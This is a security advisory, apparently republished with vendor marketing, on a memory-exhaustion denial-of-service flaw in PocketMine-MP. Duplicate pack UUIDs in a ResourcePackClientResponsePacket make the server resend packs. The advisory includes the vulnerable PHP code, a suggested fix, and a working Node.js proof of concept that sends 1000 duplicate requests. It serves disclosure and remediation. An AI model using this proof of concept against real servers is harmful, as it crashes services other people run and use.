GHSA-fqqv-56h5-f57g
PocketMine-MP `ResourcePackDataInfoPacket` amplification vulnerability due to lack of resource pack sequence status checking
Blast Radius
pocketmine/pocketmine-mpReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A denial-of-service / out-of-memory vulnerability exists in the STATUS_SEND_PACKS handling of ResourcePackClientResponsePacket.
PocketMine-MP processes the packIds array without verifying that all entries are unique.
A malicious (non-standard) Bedrock client can send multiple duplicate valid pack UUIDs in the same STATUS_SEND_PACKS packet, causing the server to send the same pack multiple times. This can quickly exhaust memory and crash the server.
Severity: High — Remote DoS from an authenticated client.
Details
Relevant code (simplified):
case ResourcePackClientResponsePacket::STATUS_SEND_PACKS:
foreach($packet->packIds as $uuid){
$splitPos = strpos($uuid, "_");
if($splitPos !== false){
$uuid = substr($uuid, 0, $splitPos);
}
$pack = $this->getPackById($uuid);
if(!($pack instanceof ResourcePack)){
$this->disconnectWithError("Unknown pack $uuid requested...");
return false;
}
$this->session->sendDataPacket(ResourcePackDataInfoPacket::create(
$pack->getPackId(),
self::PACK_CHUNK_SIZE,
(int) ceil($pack->getPackSize() / self::PACK_CHUNK_SIZE),
$pack->getPackSize(),
$pack->getSha256(),
false,
ResourcePackType::RESOURCES
));
}
break;
Root cause:
- The
packIdsarray is taken directly from the client packet and processed as-is. - There is no check to ensure that all requested packs are unique.
- A malicious client can craft a
STATUS_SEND_PACKSpacket with many duplicates of a valid UUID. - Each duplicate results in the server re-sending the same pack, consuming additional memory.
Why this is unexpected:
- Mojang's official clients never send duplicates in
packIds. - PocketMine assumes the client is well-behaved, but an attacker can bypass this with a custom client.
Suggested fix: Before sending packs:
- Remove duplicates from the incoming
packIdsarray. - If the difference between the original count and unique count exceeds a small threshold (e.g. > 2 duplicates), immediately disconnect the client with an error.
- Track which packs have already been sent to this player, and skip any that have already been transferred.
$alreadySent = $this->packsSent ?? [];
// Remove duplicates
$uniquePackIds = array_unique($packet->packIds);
// Detect abuse
if(count($packet->packIds) - count($uniquePackIds) > 2){
$this->disconnectWithError("Too many duplicate resource pack requests");
return false;
}
foreach($uniquePackIds as $uuid){
if(in_array($uuid, $alreadySent, true)){
continue; // Skip packs already sent to this player
}
// existing code...
$alreadySent[] = $uuid;
}
$this->packsSent = $alreadySent;
PoC
-
Join a PocketMine-MP server with at least one resource pack enabled.
-
Using a custom Bedrock client, send a
ResourcePackClientResponsePacketwith:status = STATUS_SEND_PACKSpackIds= many duplicates of a known valid pack UUID.
Example Node.js PoC (requires bedrock-protocol and a valid PACK_UUID):
import { createClient } from 'bedrock-protocol';
const host = '127.0.0.1';
const port = 19132;
const username = 'test';
const PACK_UUID = '00000000-0000-0000-0000-000000000000'; // replace with a real UUID
const DUPLICATES = 1000;
const client = createClient({
host,
port,
username,
offline: true
});
client.on('spawn', () => {
console.log('[*] Sending duplicate pack request...');
client.queue('resource_pack_client_response', {
response_status: 'send_packs',
resourcepackids: Array(DUPLICATES).fill(PACK_UUID)
});
});
Impact
- Type: Remote Denial of Service / Memory Exhaustion
- Who is impacted: Any PocketMine-MP server with resource packs enabled
- Requirements: Attacker must connect to the server (authenticated player)
- Effect: Server memory rapidly increases, leading to freeze or crash
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | pocketmine/pocketmine-mp | all versions | 5.32.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pocketmine/pocketmine-mp. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update pocketmine/pocketmine-mp to 5.32.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fqqv-56h5-f57g is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-fqqv-56h5-f57g is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-fqqv-56h5-f57g. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-fqqv-56h5-f57g in your dependencies?
O3 detects GHSA-fqqv-56h5-f57g across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.